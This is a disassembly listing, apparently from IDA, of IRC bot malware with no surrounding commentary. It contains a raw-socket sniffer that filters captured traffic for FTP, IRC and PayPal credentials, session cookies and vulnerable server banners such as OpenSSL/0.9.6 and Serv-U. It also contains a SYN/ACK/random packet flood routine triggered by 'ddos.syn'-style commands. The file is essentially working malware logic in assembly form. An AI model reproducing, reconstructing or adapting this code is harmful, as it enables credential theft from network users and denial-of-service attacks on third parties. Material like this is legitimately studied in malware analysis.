leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 50E89008h, 0FF0224E7h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2AE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Ah, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022ADEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Ah, 434EB0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2ADCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435A98 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A64 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A30 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359FC jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359C4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43598C jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 225E313h dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2770000h lea eax, [ebp+var_1C] push eax nop call near ptr 2760981h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2760981h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B1C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: 